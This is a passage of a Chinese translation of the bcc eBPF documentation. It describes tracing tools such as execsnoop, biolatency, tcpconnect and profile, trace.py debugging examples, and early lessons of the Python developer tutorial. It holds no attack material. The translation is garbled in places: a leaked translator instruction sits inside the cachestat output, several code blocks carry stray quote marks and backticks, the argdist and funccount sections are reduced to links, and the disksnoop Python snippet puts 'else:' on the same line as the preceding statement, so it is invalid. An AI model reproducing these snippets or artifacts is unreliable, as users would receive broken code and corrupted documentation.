<li>ext4slower或btrfs*xfs*zfs*</li>
<li>biolatency</li>
<li>biosnoop</li>
<li>cachestat</li>
<li>tcpconnect</li>
<li>tcpaccept</li>
<li>tcpretrans</li>
<li>runqlat</li>
<li>profile</li>
</ol>
<p>这些工具可能已经安装在你的系统的/usr/share/bcc/tools目录下或者你可以从bcc github仓库的/tools目录中运行它们这些工具使用.py扩展名。浏览50多个可用的工具获得更多的分析选项。</p>
<h4 id="11-execsnoop"><a class="header" href="#11-execsnoop">1.1 execsnoop</a></h4>
<pre><code class="language-sh"># ./execsnoop
PCOMM PID RET ARGS
supervise 9660 0 ./run
supervise 9661 0 ./run
mkdir 9662 0 /bin/mkdir -p ./main
run 9663 0 ./run
[...]
</code></pre>
<p>execsnoop对于每个新进程打印一行输出。检查短生命周期的进程。这些进程可能会消耗CPU资源但不会在大多数周期性运行的进程监控工具中显示出来。它通过跟踪<code>exec()</code>来工作,而不是<code>fork()</code>,所以它可以捕获许多类型的新进程,但不是所有类型(例如,它不会看到启动工作进程的应用程序,该应用程序没有<code>exec()</code>其他任何内容)。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/execsnoop_example.txt">例子</a></p>
<h4 id="12-opensnoop"><a class="header" href="#12-opensnoop">1.2. opensnoop</a></h4>
<pre><code class="language-sh"># ./opensnoop
PID COMM FD ERR PATH
1565 redis-server 5 0 /proc/1565/stat
1565 redis-server 5 0 /proc/1565/stat
1565 redis-server 5 0 /proc/1565/stat
1603 snmpd 9 0 /proc/net/dev
1603 snmpd 11 0 /proc/net/if_inet6
1603 snmpd -1 2 /sys/class/net/eth0/device/vendor
1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms
1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms
1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding
[...]
</code></pre>
<p>opensnoop每次open() syscall执行时打印一行输出包括详细信息。</p>
<p>打开的文件可以告诉你很多关于应用程序的工作方式的信息它们的数据文件、配置文件和日志文件。有时候应用程序可能会表现不正常当它们不断尝试读取不存在的文件时则会表现得很差。opensnoop能够快速帮助你查看。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/opensnoop_example.txt">例子</a></p>
<h4 id="13-ext4slower或btrfsxfszfs"><a class="header" href="#13-ext4slower或btrfsxfszfs">1.3. ext4slower或btrfs*xfs*zfs*</a></h4>
<pre><code class="language-sh"># ./ext4slower
追踪超过10毫秒的ext4操作
时间 进程 进程ID T 字节数 偏移KB 延迟(ms) 文件名
06:35:01 cron 16464 R 1249 0 16.05 common-auth
06:35:01 cron 16463 R 1249 0 16.04 common-auth
06:35:01 cron 16465 R 1249 0 16.03 common-auth
06:35:01 cron 16465 R 4096 0 10.62 login.defs
06:35:01 cron 16464 R 4096 0 10.61 login.defs
</code></pre>
<p>ext4slower跟踪ext4文件系统并计时常见操作然后只打印超过阈值的操作。这对于识别或证明一种性能问题非常方便通过文件系统单独显示较慢的磁盘 I/O。磁盘以异步方式处理 I/O很难将该层的延迟与应用程序所经历的延迟关联起来。在内核堆栈中更高层的追踪即在 VFS -&gt; 文件系统接口中,会更接近应用程序遭受的延迟。使用此工具来判断文件系统的延迟是否超过了给定的阈值。</p>
<p>在 bcc 中存在其他文件系统的类似工具btrfsslower、xfsslower 和 zfsslower。还有一个名为 fileslower 的工具,它在 VFS 层工作并跟踪所有内容(尽管会有更高的开销)。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/ext4slower_example.txt">示例</a></p>
<h4 id="14-biolatency"><a class="header" href="#14-biolatency">1.4. biolatency</a></h4>
<pre><code class="language-sh"># ./biolatency
跟踪块设备的 I/O... 按 Ctrl-C 结束。
^C
微秒 : 数量 分布
0 -&gt; 1 : 0 | |
2 -&gt; 3 : 0 | |
4 -&gt; 7 : 0 | |
8 -&gt; 15 : 0 | |
16 -&gt; 31 : 0 | |
32 -&gt; 63 : 0 | |
64 -&gt; 127 : 1 | |
128 -&gt; 255 : 12 |******** |
256 -&gt; 511 : 15 |********** |
512 -&gt; 1023 : 43 |******************************* |
1024 -&gt; 2047 : 52 |**************************************|
2048 -&gt; 4095 : 47 |********************************** |
4096 -&gt; 8191 : 52 |**************************************|
8192 -&gt; 16383 : 36 |************************** |
16384 -&gt; 32767 : 15 |********** |。32768 -&gt; 65535 : 2 |* |
65536 -&gt; 131071 : 2 |* |
</code></pre>
<p>biolatency跟踪磁盘I/O延迟从设备执行到完成的时间当工具结束Ctrl-C或给定的间隔它会打印延迟的直方图摘要。</p>
<p>这对于了解超出iostat等工具提供的平均时间的磁盘I/O延迟非常有用。在分布的末尾将可见I/O延迟的异常值以及多种模式的分布。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/biolatency_example.txt">示例</a></p>
<h4 id="15-biosnoop"><a class="header" href="#15-biosnoop">1.5. biosnoop</a></h4>
<pre><code class="language-sh"># ./biosnoop
TIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)
0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74
0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61
0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24
0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09
1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98
1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93
[...]
</code></pre>
<p>biosnoop为每个磁盘I/O打印一行输出其中包括延迟从设备执行到完成的时间等详细信息。</p>
<p>这让您可以更详细地研究磁盘I/O并寻找按时间排序的模式例如读取在写入后排队。请注意如果您的系统以高速率执行磁盘I/O则输出将冗长。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/biosnoop_example.txt">示例</a></p>
<h4 id="16-cachestat"><a class="header" href="#16-cachestat">1.6. cachestat</a></h4>
<pre><code class="language-sh"># ./cachestat
HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB
1074 44 13 94.9% 2.9% 1 223
2195 170 8 92.5% 6.8% 1 143
182 53 56 53.6% 1.3% 1 143
62480 40960 20480 40.6% 19.8% 1 223&quot;
格式:仅返回翻译后的内容,不包括原始文本。```
7 2 5 22.2% 22.2% 1 223
348 0 0 100.0% 0.0% 1 223
[...]
</code></pre>
<p>cachestat 每秒(或每个自定义时间间隔)打印一行摘要,显示文件系统缓存的统计信息。</p>
<p>可以用它来识别低缓存命中率和高缺失率,这是性能调优的线索之一。</p>
<p>更多 <a href="https://github.com/iovisor/bcc/tree/master/tools/cachestat_example.txt">示例</a></p>
<h4 id="17-tcpconnect"><a class="header" href="#17-tcpconnect">1.7. tcpconnect</a></h4>
<pre><code class="language-sh"># ./tcpconnect
PID COMM IP SADDR DADDR DPORT
1479 telnet 4 127.0.0.1 127.0.0.1 23
1469 curl 4 10.201.219.236 54.245.105.25 80
1469 curl 4 10.201.219.236 54.67.101.145 80
1991 telnet 6 ::1 ::1 23
2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22
[...]
</code></pre>
<p>tcpconnect 每个活动的 TCP 连接(例如通过 connect())打印一行输出,包括源地址和目标地址的详细信息。</p>
<p>寻找可能指向应用程序配置问题或入侵者的意外连接。</p>
<p>更多 <a href="https://github.com/iovisor/bcc/tree/master/tools/tcpconnect_example.txt">示例</a></p>
<h4 id="18-tcpaccept"><a class="header" href="#18-tcpaccept">1.8. tcpaccept</a></h4>
<pre><code class="language-sh"># ./tcpaccept
PID COMM IP RADDR LADDR LPORT
907 sshd 4 192.168.56.1 192.168.56.102 22
907 sshd 4 127.0.0.1 127.0.0.1 22
5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001
[...]
</code></pre>
<p>tcpaccept 每个被动的 TCP 连接(例如通过 accept())打印一行输出,包括源地址和目标地址的详细信息。</p>
<p>寻找可能指向应用程序配置问题或入侵者的意外连接。</p>
<p>更多 <a href="https://github.com/iovisor/bcc/tree/master/tools/tcpaccept_example.txt">示例</a></p>
<h4 id="19-tcpretrans"><a class="header" href="#19-tcpretrans">1.9. tcpretrans</a></h4>
<pre><code class="language-sh"># ./tcpretrans&quot;.
```时间 PID IP LADDR:LPORT T&gt; RADDR:RPORT 状态
01:55:05 0 4 10.153.223.157:22 R&gt; 69.53.245.40:34619 已建立
01:55:05 0 4 10.153.223.157:22 R&gt; 69.53.245.40:34619 已建立
01:55:17 0 4 10.153.223.157:22 R&gt; 69.53.245.40:22957 已建立
[...]
</code></pre>
<p>tcpretrans为每个TCP重传数据包打印一行输出其中包括源地址、目的地址以及TCP连接的内核状态。</p>
<p>TCP重传会导致延迟和吞吐量问题。对于已建立的重传可以查找与网络有关的模式。对于SYN_SENT可能指向目标内核CPU饱和和内核数据包丢失。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/tcpretrans_example.txt">示例</a></p>
<h4 id="110-runqlat"><a class="header" href="#110-runqlat">1.10. runqlat</a></h4>
<pre><code class="language-sh"># ./runqlat
跟踪运行队列延迟... 按Ctrl-C结束。
^C
微秒数 : 计数 分布
0 -&gt; 1 : 233 |*********** |
2 -&gt; 3 : 742 |************************************ |
4 -&gt; 7 : 203 |********** |
8 -&gt; 15 : 173 |******** |
16 -&gt; 31 : 24 |* |
32 -&gt; 63 : 0 | |
64 -&gt; 127 : 30 |* |
128 -&gt; 255 : 6 | |
256 -&gt; 511 : 3 | |
512 -&gt; 1023 : 5 | |
1024 -&gt; 2047 : 27 |* |
2048 -&gt; 4095 : 30 |* |
4096 -&gt; 8191 : 20 | |
8192 -&gt; 16383 : 29 |* |&quot;.16384 -&gt; 32767 : 809 |****************************************|
32768 -&gt; 65535 : 64 |*** |
</code></pre>
<p>这可以帮助量化在CPU饱和期间等待获取CPU的时间损失。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/runqlat_example.txt">示例</a></p>
<h4 id="111-分析"><a class="header" href="#111-分析">1.11. 分析</a></h4>
<pre><code class="language-sh"># ./profile
以每秒49次的频率对所有线程进行采样包括用户和内核栈...按Ctrl-C结束。
^C
00007f31d76c3251 [未知]
47a2c1e752bf47f7 [未知]
- sign-file (8877)
1
ffffffff813d0af8 __clear_user
ffffffff813d5277 iov_iter_zero
ffffffff814ec5f2 read_iter_zero
ffffffff8120be9d __vfs_read
ffffffff8120c385 vfs_read
ffffffff8120d786 sys_read
ffffffff817cc076 entry_SYSCALL_64_fastpath
00007fc5652ad9b0 read
- dd (25036)
4
0000000000400542 func_a
0000000000400598 main
00007f12a133e830 __libc_start_main
083e258d4c544155 [未知]
- func_ab (13549)
5
[...]
ffffffff8105eb66 native_safe_halt
ffffffff8103659e default_idle
ffffffff81036d1f arch_cpu_idle
ffffffff810bba5a default_idle_call
ffffffff810bbd07 cpu_startup_entry
ffffffff8104df55 start_secondary
- swapper/1 (0)
75
</code></pre>
<p>profile是一个CPU分析工具它在定时间隔内采样堆栈跟踪并打印唯一堆栈跟踪的摘要及其出现次数。</p>
<p>使用此工具来了解消耗CPU资源的代码路径。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/profile_example.txt">示例</a></p>
<h3 id="2-使用通用工具进行可观察性"><a class="header" href="#2-使用通用工具进行可观察性">2. 使用通用工具进行可观察性</a></h3>
<p>除了上述用于性能调整的工具外下面是一个bcc通用工具的清单首先是一个列表然后详细说明</p>
<ol>
<li>trace</li>
<li>argdist</li>
<li>funccount这些通用工具可能有助于解决您特定问题的可视化。</li>
</ol>
<h4 id="21-跟踪"><a class="header" href="#21-跟踪">2.1. 跟踪</a></h4>
<h5 id="示例-1"><a class="header" href="#示例-1">示例 1</a></h5>
<p>假设您想要跟踪文件所有权更改。有三个系统调用,<code>chown</code><code>fchown</code><code>lchown</code>,用户可以使用它们来更改文件所有权。相应的系统调用入口是<code>SyS_[f|l]chown</code>。可以使用以下命令打印系统调用参数和调用进程的用户ID。您可以使用<code>id</code>命令查找特定用户的UID。</p>
<pre><code class="language-sh">$ trace.py \
'p::SyS_chown &quot;file = %s, to_uid = %d, to_gid = %d, from_uid = %d&quot;, arg1, arg2, arg3, $uid' \
'p::SyS_fchown &quot;fd = %d, to_uid = %d, to_gid = %d, from_uid = %d&quot;, arg1, arg2, arg3, $uid' \
'p::SyS_lchown &quot;file = %s, to_uid = %d, to_gid = %d, from_uid = %d&quot;, arg1, arg2, arg3, $uid'
PID TID COMM FUNC -
1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203
1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203
1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203
1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203
1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203
</code></pre>
<h5 id="示例-2"><a class="header" href="#示例-2">示例 2</a></h5>
<p>假设您想要统计基于bpf的性能监控工具中的非自愿上下文切换<code>nvcsw</code>),而您不知道正确的方法是什么。<code>/proc/&lt;pid&gt;/status</code>已经告诉您进程的非自愿上下文切换(<code>nonvoluntary_ctxt_switches</code>)的数量,并且您可以使用<code>trace.py</code>进行快速实验以验证您的方法。根据内核源代码,<code>nvcsw</code>在文件<code>linux/kernel/sched/core.c</code><code>__schedule</code>函数中计数,并满足以下条件:</p>
<pre><code class="language-c">.!(!preempt &amp;&amp; prev-&gt;state) // 即 preempt || !prev-&gt;state
</code></pre>
<p><code>__schedule</code> 函数被标记为 <code>notrace</code> ,评估上述条件的最佳位置似乎在函数 <code>__schedule</code> 内部的 <code>sched/sched_switch</code> 跟踪点中,并且在 <code>linux/include/trace/events/sched.h</code> 中定义。<code>trace.py</code> 已经将 <code>args</code> 设置为跟踪点 <code>TP_STRUCT__entry</code> 的指针。函数 <code>__schedule</code> 中的上述条件可以表示为</p>
<pre><code class="language-c">args-&gt;prev_state == TASK_STATE_MAX || args-&gt;prev_state == 0
</code></pre>
<p>可以使用以下命令来计算非自愿上下文切换每个进程或每个进程ID并与 <code>/proc/&lt;pid&gt;/status</code><code>/proc/&lt;pid&gt;/task/&lt;task_id&gt;/status</code> 进行比较,以确保正确性,因为在典型情况下,非自愿上下文切换并不常见。</p>
<pre><code class="language-sh">$ trace.py -p 1134138 't:sched:sched_switch (args-&gt;prev_state == TASK_STATE_MAX || args-&gt;prev_state == 0)'
PID TID COMM FUNC
1134138 1134140 contention_test sched_switch
1134138 1134142 contention_test sched_switch
...
$ trace.py -L 1134140 't:sched:sched_switch (args-&gt;prev_state == TASK_STATE_MAX || args-&gt;prev_state == 0)'
PID TID COMM FUNC
1134138 1134140 contention_test sched_switch
1134138 1134140 contention_test sched_switch
...
</code></pre>
<h5 id="示例-3"><a class="header" href="#示例-3">示例 3</a></h5>
<p>此示例与问题 <a href="https://github.com/iovisor/bcc/issues/1231">1231</a><a href="https://github.com/iovisor/bcc/issues/1516">1516</a> 相关其中在某些情况下uprobes 完全无法工作。首先,你可以执行以下 <code>strace</code></p>
<pre><code class="language-sh">$ strace trace.py 'r:bash:readline &quot;%s&quot;, retval'
...
perf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)
...
</code></pre>
<p><code>perf_event_open</code>系统调用返回<code>-EIO</code>。在<code>/kernel/trace</code><code>/kernel/events</code>目录中查找与<code>EIO</code>相关的内核uprobe代码函数<code>uprobe_register</code>最可疑。让我们找出是否调用了这个函数,如果调用了,返回值是什么。在一个终端中使用以下命令打印出<code>uprobe_register</code>的返回值:</p>
<pre><code class="language-sh">trace.py 'r::uprobe_register &quot;ret = %d&quot;, retval'
</code></pre>
<p>在另一个终端中运行相同的bash uretprobe跟踪示例您应该得到</p>
<pre><code class="language-sh">$ trace.py 'r::uprobe_register &quot;ret = %d&quot;, retval'
PID TID COMM FUNC -
1041401 1041401 python2.7 uprobe_register ret = -5
</code></pre>
<p>错误代码<code>-5</code>是EIO。这证实了函数<code>uprobe_register</code>中的以下代码是最可疑的罪魁祸首。</p>
<pre><code class="language-c"> if (!inode-&gt;i_mapping-&gt;a_ops-&gt;readpage &amp;&amp; !shmem_mapping(inode-&gt;i_mapping))
return -EIO;
</code></pre>
<p><code>shmem_mapping</code>函数定义如下:</p>
<pre><code class="language-c">bool shmem_mapping(struct address_space *mapping)
{
return mapping-&gt;a_ops == &amp;shmem_aops;
}
</code></pre>
<p>为了确认这个理论,使用以下命令找出<code>inode-&gt;i_mapping-&gt;a_ops</code>的值:</p>
<pre><code class="language-sh">$ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) &quot;a_ops = %llx&quot;, inode-&gt;i_mapping-&gt;a_ops'
PID TID COMM FUNC -
814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0
^C$ grep ffffffff81a2adc0 /proc/kallsyms
ffffffff81a2adc0 R empty_aops
</code></pre>
<p>内核符号<code>empty_aops</code>没有定义<code>readpage</code>,因此上述可疑条件为真。进一步检查内核源代码显示,<code>overlayfs</code>没有提供自己的<code>a_ops</code>而其他一些文件系统例如ext4定义了自己的<code>a_ops</code>(例如<code>ext4_da_aops</code>),并且<code>ext4_da_aops</code>定义了<code>readpage</code>。因此uprobe对于ext4正常工作但在overlayfs上不正常工作。</p>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/trace_example.txt">示例</a></p>
<h4 id="22-argdist更多示例"><a class="header" href="#22-argdist更多示例">2.2. argdist&quot;。更多<a href="https://github.com/iovisor/bcc/tree/master/tools/argdist_example.txt">示例</a></a></h4>
<h4 id="23-funccount"><a class="header" href="#23-funccount">2.3. funccount</a></h4>
<p>更多<a href="https://github.com/iovisor/bcc/tree/master/tools/funccount_example.txt">示例</a>.</p>
<h2 id="网络"><a class="header" href="#网络">网络</a></h2>
<p>To do.</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="bcc-python-开发者教程"><a class="header" href="#bcc-python-开发者教程">bcc Python 开发者教程</a></h1>
<p>本教程介绍使用 Python 接口开发 <a href="https://github.com/iovisor/bcc">bcc</a> 工具和程序。分为两个部分:可观测性和网络。代码片段取自 bcc 的各个程序,请查阅其文件以了解许可证情况。</p>
<p>还请参阅 bcc 开发者的<a href="bcc-documents/reference_guide.html">参考指南</a>,以及针对工具的用户的教程:<a href="bcc-documents/tutorial.html">教程</a>。还有适用于 bcc 的 lua 接口。</p>
<h2 id="可观测性"><a class="header" href="#可观测性">可观测性</a></h2>
<p>这个可观测性教程包含17个课程和46个要学习的枚举事项。</p>
<h3 id="第1课-你好世界"><a class="header" href="#第1课-你好世界">第1课. 你好,世界</a></h3>
<p>首先运行 <a href="https://github.com/iovisor/bcc/tree/master/examples/hello_world.py">examples/hello_world.py</a>同时在另一个会话中运行一些命令例如“ls”。它应该会为新进程打印“Hello, World!”。如果没有打印请先修复bcc请参阅 <a href="https://github.com/iovisor/bcc/tree/master/INSTALL.md">INSTALL.md</a></p>
<pre><code class="language-sh"># ./examples/hello_world.py
bash-13364 [002] d... 24573433.052937: : Hello, World!
bash-13364 [003] d... 24573436.642808: : Hello, World!
[...]
</code></pre>
<p>以下是 hello_world.py 的代码示例:</p>
<pre><code class="language-Python">from bcc import BPF
BPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(&quot;Hello, World!\\n&quot;); return 0; }').trace_print()
</code></pre>
<p>从中可以学到六件事情:</p>
<ol>
<li>
<p><code>text='...'</code>:这定义了内联的 BPF 程序。该程序是用 C 编写的。</p>
</li>
<li>
<p><code>kprobe__sys_clone()</code>:这是通过 kprobes 动态跟踪内核的一种快捷方式。如果 C 函数以 <code>kprobe__</code> 开头,其余部分将被视为要定位的内核函数名称,本例中为 <code>sys_clone()</code></p>
</li>
<li>
<p><code>void *ctx</code>ctx 是参数,但由于我们在此处未使用它们,所以我们将其转换为 <code>void*</code> 类型。</p>
</li>
<li>
<p><code>bpf_trace_printk()</code>: 用于将 printf() 打印到通用 trace_pipe (/sys/kernel/debug/tracing/trace_pipe) 的简单内核工具。 这对于一些快速示例是可以的,但有一些限制:最多只有 3 个参数,只能有一个 %s并且 trace_pipe 是全局共享的,所以并发程序会有冲突的输出。更好的接口是通过 BPF_PERF_OUTPUT() 实现的,稍后会介绍。</p>
</li>
<li>
<p><code>return 0;</code>: 必要的规范性代码(如果想知道原因,请参见 <a href="https://github.com/iovisor/bcc/issues/139">#139</a>)。</p>
</li>
<li>
<p><code>.trace_print()</code>: 一个读取 trace_pipe 并打印输出的 bcc 程序。</p>
</li>
</ol>
<h3 id="第二课-sys_sync"><a class="header" href="#第二课-sys_sync">第二课 sys_sync()</a></h3>
<p>编写一个跟踪 sys_sync() 内核函数的程序。运行时打印 &quot;sys_sync() called&quot;。在跟踪时,在另一个会话中运行 <code>sync</code> 进行测试。hello_world.py 程序中包含了这一切所需的内容。</p>
<p>通过在程序刚启动时打印 &quot;Tracing sys_sync()... Ctrl-C to end.&quot; 来改进它。提示:它只是 Python 代码。</p>
<h3 id="第三课-hello_fieldspy"><a class="header" href="#第三课-hello_fieldspy">第三课 hello_fields.py</a></h3>
<p>该程序位于 <a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/hello_fields.py">examples/tracing/hello_fields.py</a>。样本输出(在另一个会话中运行命令):</p>
<pre><code class="language-sh"># examples/tracing/hello_fields.py
时间(s) 进程名 进程 ID 消息
24585001.174885999 sshd 1432 你好,世界!
24585001.195710000 sshd 15780 你好,世界!
24585001.991976000 systemd-udevd 484 你好,世界!
24585002.276147000 bash 15787 你好,世界!
</code></pre>
<p>代码:</p>
<pre><code class="language-Python">from bcc import BPF
# 定义 BPF 程序
prog = &quot;&quot;&quot;
int hello(void *ctx) {
bpf_trace_printk(&quot;你好,世界!\\n&quot;);
return 0;
}
&quot;&quot;&quot;
# 加载 BPF 程序
b = BPF(text=prog)
b.attach_kprobe(event=b.get_syscall_fnname(&quot;clone&quot;), fn_name=&quot;hello&quot;)
# 头部
print(&quot;%-18s %-16s %-6s %s&quot; % (&quot;时间(s)&quot;, &quot;进程名&quot;, &quot;进程 ID&quot;, &quot;消息&quot;))
# 格式化输出
while 1:
try:
(task, pid, cpu, flags, ts, msg) = b.trace_fields()
except ValueError:
continue
print(&quot;%-18.9f %-16s %-6d %s&quot; % (ts, task, pid, msg))
</code></pre>
<p>这与hello_world.py类似并通过sys_clone()再次跟踪新进程,但是还有一些要学习的内容:</p>
<ol>
<li>
<p><code>prog =</code>这次我们将C程序声明为变量然后引用它。如果您想根据命令行参数添加一些字符串替换这将非常有用。</p>
</li>
<li>
<p><code>hello()</code>现在我们只是声明了一个C函数而不是使用<code>kprobe__</code>的快捷方式。我们稍后会引用它。在BPF程序中声明的所有C函数都希望在探测器上执行因此它们都需要以<code>pt_reg* ctx</code>作为第一个参数。如果您需要定义一些不会在探测器上执行的辅助函数,则需要将其定义为<code>static inline</code>,以便由编译器内联。有时您还需要为其添加<code>_always_inline</code>函数属性。</p>
</li>
<li>
<p><code>b.attach_kprobe(event=b.get_syscall_fnname(&quot;clone&quot;), fn_name=&quot;hello&quot;)</code>为内核clone系统调用函数创建一个kprobe该函数将执行我们定义的hello()函数。您可以多次调用attach_kprobe()并将您的C函数附加到多个内核函数上。</p>
</li>
<li>
<p><code>b.trace_fields()</code>从trace_pipe中返回一组固定的字段。与trace_print()类似它对于编写脚本很方便但是对于实际的工具化需求我们应该切换到BPF_PERF_OUTPUT()。</p>
</li>
</ol>
<h3 id="lesson-4-sync_timingpy"><a class="header" href="#lesson-4-sync_timingpy">Lesson 4. sync_timing.py</a></h3>
<p>还记得以前系统管理员在缓慢的控制台上输入<code>sync</code>三次然后才重启吗?后来有人认为<code>sync;sync;sync</code>很聪明将它们都写在一行上运行尽管这违背了最初的目的然后sync变成了同步操作所以更加愚蠢。无论如何。</p>
<p>以下示例计算了<code>do_sync</code>函数被调用的速度,并且如果它在一秒钟之内被调用,则输出信息。<code>sync;sync;sync</code>将为第2个和第3个sync打印输出</p>
<pre><code class="language-sh"># examples/tracing/sync_timing.py
追踪快速sync... 按Ctrl-C结束&quot;
</code></pre>
<p>在时间0.00秒时检测到多个同步上次发生在95毫秒前
在时间0.10秒时检测到多个同步上次发生在96毫秒前</p>
<p>此程序是<a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/sync_timing.py">examples/tracing/sync_timing.py</a></p>
<pre><code class="language-Python">from __future__ import print_function
from bcc import BPF
# 加载BPF程序
b = BPF(text=&quot;&quot;&quot;
#include &lt;uapi/linux/ptrace.h&gt;
BPF_HASH(last);
int do_trace(struct pt_regs *ctx) {
u64 ts, *tsp, delta, key = 0;
// 尝试读取存储的时间戳
tsp = last.lookup(&amp;key);
if (tsp != NULL) {
delta = bpf_ktime_get_ns() - *tsp;
if (delta &lt; 1000000000) {
// 时间小于1秒则输出
bpf_trace_printk(&quot;%d\\n&quot;, delta / 1000000);
}
last.delete(&amp;key);
}
// 更新存储的时间戳
ts = bpf_ktime_get_ns();
last.update(&amp;key, &amp;ts);
return 0;
}
&quot;&quot;&quot;)
b.attach_kprobe(event=b.get_syscall_fnname(&quot;sync&quot;), fn_name=&quot;do_trace&quot;)
print(&quot;跟踪快速同步... 按Ctrl-C结束&quot;)
# 格式化输出
start = 0
while 1:
(task, pid, cpu, flags, ts, ms) = b.trace_fields()
if start == 0:
start = ts
ts = ts - start
print(&quot;在时间%.2f秒处:检测到多个同步,上次发生在%s毫秒前&quot; % (ts, ms))
</code></pre>
<p>学习内容:</p>
<ol>
<li><code>bpf_ktime_get_ns()</code>: 返回时间,单位为纳秒。</li>
<li><code>BPF_HASH(last)</code>: 创建一个BPF映射对象类型为哈希关联数组名为&quot;last&quot;。我们没有指定其他参数因此默认的键和值类型为u64。</li>
<li><code>key = 0</code>: 我们只会在哈希中存储一个键值对,其中键被硬编码为零。</li>
<li><code>last.lookup(&amp;key)</code>: 在哈希中查找键并如果存在则返回其值的指针否则返回NULL。我们将键作为指针的地址传递给该函数。</li>
<li><code>if (tsp != NULL) {</code>: 验证器要求在将从映射查找得到的指针值解引用使用之前必须先检查其是否为null。1. <code>last.delete(&amp;key)</code>: 从哈希表中删除key。目前需要这样做是因为<a href="https://git.kernel.org/cgit/linux/kernel/git/davem/net.git/commit/?id=a6ed3ea65d9868fdf9eff84e6fe4f666b8d14b02"><code>.update()</code>中存在一个内核错误</a>在4.8.10中已经修复)。</li>
<li><code>last.update(&amp;key, &amp;ts)</code>: 将第二个参数的值与key关联起来覆盖之前的任何值。这会记录时间戳。</li>
</ol>
<h3 id="第5课-sync_countpy"><a class="header" href="#第5课-sync_countpy">第5课. sync_count.py</a></h3>
<p>修改sync_timing.py程序前一课以存储所有内核同步系统调用包括快速和慢速的计数并将其与输出一起打印出来。可以通过向现有哈希表添加一个新的键索引来在BPF程序中记录此计数。</p>
<h3 id="第6课-disksnooppy"><a class="header" href="#第6课-disksnooppy">第6课. disksnoop.py</a></h3>
<p>浏览<a href="https://github.com/iovisor/bcc/tree/master/examples/tracing/disksnoop.py">examples/tracing/disksnoop.py</a>程序以了解新内容。以下是一些示例输出:</p>
<pre><code class="language-sh"># disksnoop.py
时间(s) T 字节 延迟(ms)
16458043.436012 W 4096 3.13
16458043.437326 W 4096 4.44
16458044.126545 R 4096 42.82
16458044.129872 R 4096 3.24
[...]
</code></pre>
<p>以及代码片段:</p>
<pre><code class="language-Python">[...]
REQ_WRITE = 1 # 来自include/linux/blk_types.h
# 加载BPF程序
b = BPF(text=&quot;&quot;&quot;
#include &lt;uapi/linux/ptrace.h&gt;
#include &lt;linux/blk-mq.h&gt;
BPF_HASH(start, struct request *);
void trace_start(struct pt_regs *ctx, struct request *req) {
// 使用请求指针存储开始时间戳
u64 ts = bpf_ktime_get_ns();
start.update(&amp;req, &amp;ts);
}
void trace_completion(struct pt_regs *ctx, struct request *req) {
u64 *tsp, delta;
tsp = start.lookup(&amp;req);
if (tsp != 0) {
delta = bpf_ktime_get_ns() - *tsp;
bpf_trace_printk(&quot;%d %x %d\\n&quot;, req-&gt;__data_len,
req-&gt;cmd_flags, delta / 1000);
start.delete(&amp;req);
}
}
&quot;&quot;&quot;)
if BPF.get_kprobe_functions(b'blk_start_request'):
b.attach_kprobe(event=&quot;blk_start_request&quot;, fn_name=&quot;trace_start&quot;)
b.attach_kprobe(event=&quot;blk_mq_start_request&quot;, fn_name=&quot;trace_start&quot;)
if BPF.get_kprobe_functions(b'__blk_account_io_done'):
b.attach_kprobe(event=&quot;__blk_account_io_done&quot;, fn_name=&quot;trace_completion&quot;) else: b.attach_kprobe(event=&quot;blk_account_io_done&quot;, fn_name=&quot;trace_completion&quot;)
[...]
</code></pre>
<p>学习内容:</p>
<ol>
<li><code>REQ_WRITE</code>: 我们在Python程序中定义了一个内核常量因为我们后面会在Python程序中使用它。如果我们在BPF程序中使用REQ_WRITE它应该可以正常工作无需定义只需使用适当的<code>#includes</code></li>
<li><code>trace_start(struct pt_regs *ctx, struct request*req)</code>: 这个函数将在后面附加到kprobe上。kprobe函数的参数是<code>struct pt_regs *ctx</code>用于寄存器和BPF上下文然后是函数的实际参数。我们将把它附加到blk_start_request()上,其中第一个参数是<code>struct request*</code></li>
